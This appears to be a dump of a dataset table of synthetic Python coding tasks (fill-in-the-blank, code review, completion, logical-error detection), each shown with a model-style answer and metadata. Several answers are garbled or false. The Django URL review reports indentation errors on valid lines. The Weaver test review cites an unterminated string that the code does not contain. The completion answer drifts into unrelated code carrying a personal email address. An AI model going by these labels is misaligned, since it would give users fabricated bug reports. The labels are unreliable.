Analysis:\n\n Syntax Errors Found:\n \u2022 Unterminated string literal at line 6\n \u2022 IndentationError at line 72\n\n Fixes:\n \u2022 Add closing quote at line 6\n \u2022 Fix indentation to match Python syntax rules"}]
| true
|
syntax
|
MID_STRING
|
CRITICAL
|
86939231df10a74a6b6c8263b5d61c5806d7e19e
|
TheStack--python--000.parquet
|
Fill in the in this Pythoncode:Python code: dataset_type = 'UNITER_VqaDataset' data_root = '/home/datasets/mix_data/UNITER/VQA/' train_datasets = ['train'] test_datasets = ['minival'] # name not in use, but have defined one to run vqa_cfg = dict( train_txt_dbs=[ data_root + 'vqa_train.db', data_root + 'vqa_trainval.db', data_root + 'vqa_vg.db', ], train_img_dbs=[ data_root + 'coco_train2014/', data_root + 'coco_val2014', data_root + 'vg/', ], val_txt_db=data_root + 'vqa_devval.db', val_img_db=data_root + 'coco_val2014/', ans2label_file=data_root + 'ans2label.json', max_txt_len=60, conf_th=0.2, max_bb=100, min_bb=10, num_bb=36, train_batch_size=20480, # 5120, val_batch_size=40960, # 10240, ) # Complete this line train_data = dict( samples_per_gpu=vqa_cfg['train_batch_size'], workers_per_gpu=4, pin_memory=True, batch_sampler=dict( type='TokenBucketSampler', bucket_size=BUCKET_SIZE, batch_size=vqa_cfg['train_batch_size'], drop_last=True, size_multiple=8, ), data=dict( type=dataset_type, datacfg=vqa_cfg, train_or_val=True, ), ) test_data = dict( samples_per_gpu=vqa_cfg['val_batch_size'], workers_per_gpu=4, batch_sampler=dict( type='TokenBucketSampler', bucket_size=BUCKET_SIZE, batch_size=vqa_cfg['val_batch_size'], drop_last=False, size_multiple=8, ), pin_memory=True, data=dict( type=dataset_type, datacfg=vqa_cfg, train_or_val=False, ), ) post_processor = dict( type='Evaluator', metrics=[dict(type='UNITER_AccuracyMetric')], dataset_converters=[dict(type='UNITER_DatasetConverter')], )
|
The missing line is: BUCKET_SIZE = 8192
|
intermediate
|
testing
|
fill_in_the_blank
|
Pythoncode:Python
| 0
| 0
| 1,767
| false
|
[{"role": "user", "content": "Fill in the in this Pythoncode:Python code:\ndataset_type = 'UNITER_VqaDataset'\ndata_root = '/home/datasets/mix_data/UNITER/VQA/'\n\ntrain_datasets = ['train']\ntest_datasets = ['minival'] # name not in use, but have defined one to run\n\nvqa_cfg = dict(\n train_txt_dbs=[\n data_root + 'vqa_train.db',\n data_root + 'vqa_trainval.db',\n data_root + 'vqa_vg.db',\n ],\n train_img_dbs=[\n data_root + 'coco_train2014/',\n data_root + 'coco_val2014',\n data_root + 'vg/',\n ],\n val_txt_db=data_root + 'vqa_devval.db',\n val_img_db=data_root + 'coco_val2014/',\n ans2label_file=data_root + 'ans2label.json',\n max_txt_len=60,\n conf_th=0.2,\n max_bb=100,\n min_bb=10,\n num_bb=36,\n train_batch_size=20480, # 5120,\n val_batch_size=40960, # 10240,\n)\n\n # Complete this line\n\ntrain_data = dict(\n samples_per_gpu=vqa_cfg['train_batch_size'],\n workers_per_gpu=4,\n pin_memory=True,\n batch_sampler=dict(\n type='TokenBucketSampler',\n bucket_size=BUCKET_SIZE,\n batch_size=vqa_cfg['train_batch_size'],\n drop_last=True,\n size_multiple=8,\n ),\n data=dict(\n type=dataset_type,\n datacfg=vqa_cfg,\n train_or_val=True,\n ),\n)\n\ntest_data = dict(\n samples_per_gpu=vqa_cfg['val_batch_size'],\n workers_per_gpu=4,\n batch_sampler=dict(\n type='TokenBucketSampler',\n bucket_size=BUCKET_SIZE,\n batch_size=vqa_cfg['val_batch_size'],\n drop_last=False,\n size_multiple=8,\n ),\n pin_memory=True,\n data=dict(\n type=dataset_type,\n datacfg=vqa_cfg,\n train_or_val=False,\n ),\n)\n\npost_processor = dict(\n type='Evaluator',\n metrics=[dict(type='UNITER_AccuracyMetric')],\n dataset_converters=[dict(type='UNITER_DatasetConverter')],\n)"}, {"role": "assistant", "content": "The missing line is:\nBUCKET_SIZE = 8192"}]
| false
| null | null | null |
8693c080676cb2787d00c99c4612bc9e39e2bff8
|
TheStack--python--000.parquet
|
Review this Pythoncode:Python code: from django.conf import settings from django.conf.urls.static import static from django.contrib import admin from django.urls import path, include, re_path from django.views.generic import TemplateView urlpatterns = [ path('api-auth/', include('rest_framework.urls')), path('rest-auth/', include('rest_auth.urls')), path('rest-auth/registration/', include('rest_auth.registration.urls')), path('admin/', admin.site.urls), path('api/', include('core.api.urls')), ] if settings.DEBUG: urlpatterns += static(settings.MEDIA_URL, document_root=settings.MEDIA_ROOT) if not settings.DEBUG: urlpatterns += [re_path(r'^.*', TemplateView.as_view(template_name='index.html'))]
|
Code Review: ⚠️ Code quality: Unexpected indentation at line 8 Unexpected indentation at line 9 Unexpected indentation at line 10 Unexpected indentation at line 11 Unexpected indentation at line 12 Unexpected indentation at line 17 Unexpected indentation at line 22
|
intermediate
|
api
|
code_review
|
Pythoncode:Python
| 0
| 0
| 752
| true
|
[{"role": "user", "content": "Review this Pythoncode:Python code:\nfrom django.conf import settings\nfrom django.conf.urls.static import static\nfrom django.contrib import admin\nfrom django.urls import path, include, re_path\nfrom django.views.generic import TemplateView\n\nurlpatterns = [\n path('api-auth/', include('rest_framework.urls')),\n path('rest-auth/', include('rest_auth.urls')),\n path('rest-auth/registration/', include('rest_auth.registration.urls')),\n path('admin/', admin.site.urls),\n path('api/', include('core.api.urls')),\n]\n\nif settings.DEBUG:\n urlpatterns += static(settings.MEDIA_URL,\n document_root=settings.MEDIA_ROOT)\n\n\nif not settings.DEBUG:\n urlpatterns += [re_path(r'^.*',\n TemplateView.as_view(template_name='index.html'))]"}, {"role": "assistant", "content": " Code Review:\n\n\n\u26a0\ufe0f Code quality:\n Unexpected indentation at line 8\n Unexpected indentation at line 9\n Unexpected indentation at line 10\n Unexpected indentation at line 11\n Unexpected indentation at line 12\n Unexpected indentation at line 17\n Unexpected indentation at line 22"}]
| false
| null | null | null |
869425b882c792777c4c9df4c4e4ede390b45006
|
TheStack--python--000.parquet
|
Complete this Pythoncode:Python code: #!/bin/bash # -*- coding: UTF-8 -*- # 基本控件都在这里面 from PyQt5.QtWebEngineWidgets import QWebEngineView from PyQt5.QtWidgets import (QApplication, QMainWindow, QWidget, QGridLayout, QMessageBox, QFileDialog, class SubWindow(QWidget): def __init__(self): super().__init__() self.resize(400,100) self.main_layout = QGridLayout() self.setLayout(self.main_layout) self.setStyleSheet(qdarkstyle.load_stylesheet_pyqt5()) self.main_layout.addWidget(QLabel('收件人'), 0, 0, 1, 1) self.in_recipient = QLineEdit() self.main_layout.addWidget(self.in_recipient, 0, 1, 1, 5) self.btn_send = QPushButton('寄送') self.main_layout.addWidget(self.btn_send, 1, 5, 1, 1) class MailserverUi(QMainWindow): def __init__(self): super().__init__() setConfigOption('background', '#19232D') setConfigOption('foreground', 'd') setConfigOptions(antialias = True) # self.resize(720,500) self.init_ui() self.data_smtp = [] self.data_db = [] self.data_logs = [] self.data_temp_logs = [] # self.sub_win = SubWindow()
|
# 默認狀態欄 self.status = self.statusBar() self.status.showMessage("開發者: 鄭鈺城, 聯絡資訊: anthonycheng@systex.com") # 標題欄 self.setWindowTitle("社交郵件工程") self.setWindowOpacity(1) # 窗口透明度 self.main_layout.setSpacing(0) self.setStyleSheet(qdarkstyle.load_stylesheet_pyqt5()) self.main_widget.setStyleSheet( """ QComboBox::item:checked { height: 12px; border: 1px solid #32414B; margin-top: 0px; margin-bottom: 0px; padding: 4px; padding-left: 0px; } """ ) ... [24 more functiondefs truncated] ...
|
advanced
|
ui
|
code_completion
|
Pythoncode:Python
| 2
| 2
| 1,900
| true
|
[{"role": "user", "content": "Complete this Pythoncode:Python code:\n#!/bin/bash\n# -*- coding: UTF-8 -*-\n# \u57fa\u672c\u63a7\u4ef6\u90fd\u5728\u8fd9\u91cc\u9762\nfrom PyQt5.QtWebEngineWidgets import QWebEngineView\nfrom PyQt5.QtWidgets import (QApplication, QMainWindow, QWidget, QGridLayout, QMessageBox, QFileDialog,\nclass SubWindow(QWidget):\n def __init__(self):\n super().__init__()\n self.resize(400,100)\n self.main_layout = QGridLayout()\n self.setLayout(self.main_layout)\n\n self.setStyleSheet(qdarkstyle.load_stylesheet_pyqt5())\n\n self.main_layout.addWidget(QLabel('\u6536\u4ef6\u4eba'), 0, 0, 1, 1)\n self.in_recipient = QLineEdit()\n self.main_layout.addWidget(self.in_recipient, 0, 1, 1, 5)\n self.btn_send = QPushButton('\u5bc4\u9001')\n self.main_layout.addWidget(self.btn_send, 1, 5, 1, 1)\n\nclass MailserverUi(QMainWindow):\n def __init__(self):\n super().__init__()\n\n setConfigOption('background', '#19232D')\n setConfigOption('foreground', 'd')\n setConfigOptions(antialias = True)\n \n # self.resize(720,500)\n self.init_ui()\n self.data_smtp = []\n self.data_db = []\n self.data_logs = []\n self.data_temp_logs = []\n\n # self.sub_win = SubWindow()"}, {"role": "assistant", "content": "\n # \u9ed8\u8a8d\u72c0\u614b\u6b04\n self.status = self.statusBar()\n self.status.showMessage(\"\u958b\u767c\u8005: \u912d\u923a\u57ce, \u806f\u7d61\u8cc7\u8a0a: anthonycheng@systex.com\")\n \n # \u6a19\u984c\u6b04\n self.setWindowTitle(\"\u793e\u4ea4\u90f5\u4ef6\u5de5\u7a0b\")\n self.setWindowOpacity(1) # \u7a97\u53e3\u900f\u660e\u5ea6\n self.main_layout.setSpacing(0)\n \n self.setStyleSheet(qdarkstyle.load_stylesheet_pyqt5())\n self.main_widget.setStyleSheet(\n \"\"\"\n QComboBox::item:checked {\n height: 12px;\n border: 1px solid #32414B;\n margin-top: 0px;\n margin-bottom: 0px;\n padding: 4px;\n padding-left: 0px;\n }\n \"\"\"\n )\n\n\n ... [24 more functiondefs truncated] ..."}]
| false
| null | null | null |
869447ef2f6a217e512b23fd0c00a4c4fa0f87a0
|
TheStack--python--000.parquet
|
Find the logical error in this Pythoncode:Python code: class MMLayer(base.Layer): pass class Conv2DMMLayer(MMLayer): def __init__(self, input_layer, num_filters, filter_size, strides=(1, 1), border_mode=None, untie_biases=False, W=init.Uniform(), b=init.Constant(0.), nonlinearity=nonlinearities.rectify, pad=None, flip_filters=False): super(Conv2DMMLayer, self).__init__(input_layer) if nonlinearity == None: self.nonlinearity = nonlinearities.identity else: self.nonlinearity = nonlinearity self.num_filters = num_filters self.filter_size = filter_size self.strides = strides self.untie_biases = untie_biases self.flip_filters = flip_filters if border_mode is not None and pad is not None: raise RuntimeError("You cannot specify both 'border_mode' and 'pad'. To avoid ambiguity, please specify only one of them.") elif border_mode is None and pad is None: # no option specified, default to valid mode self.pad = (0, 0) elif border_mode is not None: if border_mode == 'valid': self.pad = (0, 0) elif border_mode == 'full': self.pad = (self.filter_size[0] - 1, self.filter_size[1] -1) elif border_mode == 'same': # only works for odd filter size, but the even filter size case is probably not worth supporting. self.pad = ((self.filter_size[0] - 1) // 2, (self.filter_size[1] - 1) // 2) else: raise RuntimeError("Unsupported border_mode for Conv2DMMLayer: %s" % border_mode) else: self.pad = pad self.W = self.create_param(W, self.get_W_shape()) if b is None: self.b = None elif self.untie_biases: output_shape = self.get_output_shape() self.b = self.create_param(b, (num_filters, output_shape[2], output_shape[3])) else: self.b = self.create_param(b, (num_filters,)) self.corr_mm_op = GpuCorrMM(subsample=self.strides, pad=self.pad) def get_W_shape(self): num_input_channels = self.input_layer.get_output_shape()[1] return (self.num_filters, num_input_channels, self.filter_size[0], self.filter_size[1]) def get_params(self): return [self.W] + self.get_bias_params() def get_bias_params(self): return [self.b] if self.b is not None else [] def get_output_shape_for(self, input_shape): batch_size = input_shape[0] input_width, input_height = input_shape[2:4] output_width = (input_width + 2*self.pad[0] - self.filter_size[0]) // self.strides[0] + 1 output_height = (input_height + 2*self.pad[1] - self.filter_size[1]) // self.strides[1] + 1 return (batch_size, self.num_filters, output_width, output_height) ... [1 more functiondefs truncated] ...
|
Logical Error Analysis: Error Type: WRONG_COMPARISON Issue: Using == instead of is for None Severity: LOW Location: Line 10 Buggy code: if nonlinearity == None: Should be: if nonlinearity is None: Explanation: Non-pythonic comparison - works but not idiomatic Fix: Use "is/is not" for None, avoid explicit True comparison
|
advanced
|
database
|
logical_errors
|
Pythoncode:Python
| 5
| 2
| 2,925
| false
|
[{"role": "user", "content": "Find the logical error in this Pythoncode:Python code:\nclass MMLayer(base.Layer):\n pass\n\n\nclass Conv2DMMLayer(MMLayer):\n def __init__(self, input_layer, num_filters, filter_size, strides=(1, 1), border_mode=None, untie_biases=False,\n W=init.Uniform(), b=init.Constant(0.), nonlinearity=nonlinearities.rectify, pad=None,\n flip_filters=False):\n super(Conv2DMMLayer, self).__init__(input_layer)\n if nonlinearity == None:\n self.nonlinearity = nonlinearities.identity\n else:\n self.nonlinearity = nonlinearity\n\n self.num_filters = num_filters\n self.filter_size = filter_size\n self.strides = strides\n self.untie_biases = untie_biases\n self.flip_filters = flip_filters\n\n if border_mode is not None and pad is not None:\n raise RuntimeError(\"You cannot specify both 'border_mode' and 'pad'. To avoid ambiguity, please specify only one of them.\")\n elif border_mode is None and pad is None:\n # no option specified, default to valid mode\n self.pad = (0, 0)\n elif border_mode is not None:\n if border_mode == 'valid':\n self.pad = (0, 0)\n elif border_mode == 'full':\n self.pad = (self.filter_size[0] - 1, self.filter_size[1] -1)\n elif border_mode == 'same':\n # only works for odd filter size, but the even filter size case is probably not worth supporting.\n self.pad = ((self.filter_size[0] - 1) // 2, (self.filter_size[1] - 1) // 2)\n else:\n raise RuntimeError(\"Unsupported border_mode for Conv2DMMLayer: %s\" % border_mode)\n else:\n self.pad = pad\n\n self.W = self.create_param(W, self.get_W_shape())\n if b is None:\n self.b = None\n elif self.untie_biases:\n output_shape = self.get_output_shape()\n self.b = self.create_param(b, (num_filters, output_shape[2], output_shape[3]))\n else:\n self.b = self.create_param(b, (num_filters,))\n\n self.corr_mm_op = GpuCorrMM(subsample=self.strides, pad=self.pad)\n\n def get_W_shape(self):\n num_input_channels = self.input_layer.get_output_shape()[1]\n return (self.num_filters, num_input_channels, self.filter_size[0], self.filter_size[1])\n\n def get_params(self):\n return [self.W] + self.get_bias_params()\n\n def get_bias_params(self):\n return [self.b] if self.b is not None else []\n\n def get_output_shape_for(self, input_shape):\n batch_size = input_shape[0]\n input_width, input_height = input_shape[2:4]\n output_width = (input_width + 2*self.pad[0] - self.filter_size[0]) // self.strides[0] + 1\n output_height = (input_height + 2*self.pad[1] - self.filter_size[1]) // self.strides[1] + 1\n return (batch_size, self.num_filters, output_width, output_height)\n\n\n ... [1 more functiondefs truncated] ..."}, {"role": "assistant", "content": " Logical Error Analysis:\n\n Error Type: WRONG_COMPARISON\n Issue: Using == instead of is for None\n Severity: LOW\n\n Location: Line 10\n\n Buggy code:\n if nonlinearity == None:\n\n Should be:\n if nonlinearity is None:\n\n Explanation: Non-pythonic comparison - works but not idiomatic\n Fix: Use \"is/is not\" for None, avoid explicit True comparison"}]
| true
|
logical
|
WRONG_COMPARISON
|
LOW
|
86947b6782d353d9c52f3c8165971a18131a9c5c
|
TheStack--python--000.parquet
|
Review this Pythoncode:Python code: #! /usr/bin/env python # # =============================================================== # Description: Sanity check for fresh install. # # Created: 2014-08-12 16:42:52 # # Author: Ayush Dubey, dubey@cs.cornell.edu # # Copyright (C) 2013, Cornell University, see the LICENSE file # for licensing agreement # =============================================================== # import sys try: import weaver.client as client except ImportError: import client config_file='' if len(sys.argv) > 1: config_file = sys.argv[1] # create client object c = client.Client('128.84.167.220', 2002, config_file) # check aux index assert c.aux_index() # 1. create node for user ayush c.begin_tx() c.create_node('ayush') c.set_node_properties({'type': 'user', 'age': '25'}, 'ayush') c.end_tx() # 2. create node for user egs c.begin_tx() c.create_node('egs') c.set_node_property('type', 'user', 'egs') c.end_tx() # 3. ayush follows egs c.begin_tx() c.create_edge('ayush', 'egs', 'e1') c.set_edge_property(edge='e1', key='type', value='follows') c.create_edge('egs', 'ayush', 'e2') c.set_edge_property(edge='e2', key='type', value='followed_by') c.end_tx() # 4. add a post and restrict visibility to followers only c.begin_tx() c.create_node('post') c.set_node_property('type', 'post', 'post') c.set_node_property('visibility', 'followers', 'post') e3 = c.create_edge('egs', 'post') c.set_edge_property(edge=e3, key='type', value='posted') c.end_tx() # 5. 'like' the post c.begin_tx() e4 = c.create_edge('post', 'ayush') c.set_edge_property(edge=e4, key='type', value='liked_by') c.end_tx() # 6. list all the people who like egs's post return_nodes = c.traverse('egs', {'type': 'user'}).out_edge({'type': 'posted'}).node({'type': 'post'}).out_edge({'type': 'liked_by'}).node({'type': 'user'}).execute() assert len(return_nodes) == 1, 'traversal returned incorrect #nodes' assert 'ayush' in return_nodes, 'traversal returned bad node handle' # 7. try to create node with same handle as before c.begin_tx() c.create_node('ayush') try: c.end_tx() assert False, 'create node passed' except client.WeaverError: pass # 8. try to create edge with same handle as before c.begin_tx() c.create_edge('ayush', 'egs', 'e1') try: c.end_tx() assert False, 'create edge passed' except client.WeaverError: pass # 9. add auxiliary handles to nodes c.begin_tx() c.add_alias('ad688', 'ayush') c.add_alias('el33th4x0r', 'egs') c.end_tx() # 10. list all the people who like egs's post # this time with aliases instead of handles return_nodes = c.traverse('el33th4x0r', {'type': 'user'}).out_edge({'type': 'posted'}).node({'type': 'post'}).out_edge({'type': 'liked_by'}).node({'type': 'user'}).execute() assert len(return_nodes) == 1, 'traversal returned incorrect #nodes' assert 'ayush' in return_nodes, 'traversal returned bad node handle' # 11. get node and check it is valid ad = c.get_node('ayush') assert 'ad688' in ad.aliases assert ... [code truncated] ...
|
Code Review: ❌ Critical issues: Code truncated in middle of expression - unexpected EOF Unterminated string literal at line 68 Invalid syntax at line 107: assert ⚠️ Code quality: Unexpected indentation at line 78 Unexpected indentation at line 88 ✨ Improvements: Complete the expression on the last line Add closing quote at line 68 Review syntax near the error location
|
intermediate
|
testing
|
code_review
|
Pythoncode:Python
| 0
| 0
| 3,033
| true
|
[{"role": "user", "content": "Review this Pythoncode:Python code:\n#! /usr/bin/env python\n# \n# ===============================================================\n# Description: Sanity check for fresh install. \n# \n# Created: 2014-08-12 16:42:52\n# \n# Author: Ayush Dubey, dubey@cs.cornell.edu\n# \n# Copyright (C) 2013, Cornell University, see the LICENSE file\n# for licensing agreement\n# ===============================================================\n# \n\nimport sys\n\ntry:\n import weaver.client as client\nexcept ImportError:\n import client\n\nconfig_file=''\n\nif len(sys.argv) > 1:\n config_file = sys.argv[1]\n\n# create client object\nc = client.Client('128.84.167.220', 2002, config_file)\n\n# check aux index\nassert c.aux_index()\n\n# 1. create node for user ayush\nc.begin_tx()\nc.create_node('ayush')\nc.set_node_properties({'type': 'user', 'age': '25'}, 'ayush')\nc.end_tx()\n\n# 2. create node for user egs\nc.begin_tx()\nc.create_node('egs')\nc.set_node_property('type', 'user', 'egs')\nc.end_tx()\n\n# 3. ayush follows egs\nc.begin_tx()\nc.create_edge('ayush', 'egs', 'e1')\nc.set_edge_property(edge='e1', key='type', value='follows')\nc.create_edge('egs', 'ayush', 'e2')\nc.set_edge_property(edge='e2', key='type', value='followed_by')\nc.end_tx()\n\n# 4. add a post and restrict visibility to followers only\nc.begin_tx()\nc.create_node('post')\nc.set_node_property('type', 'post', 'post')\nc.set_node_property('visibility', 'followers', 'post')\ne3 = c.create_edge('egs', 'post')\nc.set_edge_property(edge=e3, key='type', value='posted')\nc.end_tx()\n\n# 5. 'like' the post\nc.begin_tx()\ne4 = c.create_edge('post', 'ayush')\nc.set_edge_property(edge=e4, key='type', value='liked_by')\nc.end_tx()\n\n# 6. list all the people who like egs's post\nreturn_nodes = c.traverse('egs', {'type': 'user'}).out_edge({'type': 'posted'}).node({'type': 'post'}).out_edge({'type': 'liked_by'}).node({'type': 'user'}).execute()\nassert len(return_nodes) == 1, 'traversal returned incorrect #nodes'\nassert 'ayush' in return_nodes, 'traversal returned bad node handle'\n\n# 7. try to create node with same handle as before\nc.begin_tx()\nc.create_node('ayush')\ntry:\n c.end_tx()\n assert False, 'create node passed'\nexcept client.WeaverError:\n pass\n\n\n# 8. try to create edge with same handle as before\nc.begin_tx()\nc.create_edge('ayush', 'egs', 'e1')\ntry:\n c.end_tx()\n assert False, 'create edge passed'\nexcept client.WeaverError:\n pass\n\n# 9. add auxiliary handles to nodes\nc.begin_tx()\nc.add_alias('ad688', 'ayush')\nc.add_alias('el33th4x0r', 'egs')\nc.end_tx()\n\n# 10. list all the people who like egs's post\n# this time with aliases instead of handles\nreturn_nodes = c.traverse('el33th4x0r', {'type': 'user'}).out_edge({'type': 'posted'}).node({'type': 'post'}).out_edge({'type': 'liked_by'}).node({'type': 'user'}).execute()\nassert len(return_nodes) == 1, 'traversal returned incorrect #nodes'\nassert 'ayush' in return_nodes, 'traversal returned bad node handle'\n\n# 11. get node and check it is valid\nad = c.get_node('ayush')\nassert 'ad688' in ad.aliases\nassert \n\n ... [code truncated] ..."}, {"role": "assistant", "content": " Code Review:\n\n\n\u274c Critical issues:\n Code truncated in middle of expression - unexpected EOF\n Unterminated string literal at line 68\n Invalid syntax at line 107: assert \n\n\n\u26a0\ufe0f Code quality:\n Unexpected indentation at line 78\n Unexpected indentation at line 88\n\n\u2728 Improvements:\n Complete the expression on the last line\n Add closing quote at line 68\n Review syntax near the error location"}]
| false
| null | null | null |
8695dfaa20d2f47de4c76bf66aa5cf33728fae34
|
TheStack--python--000.parquet
|
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.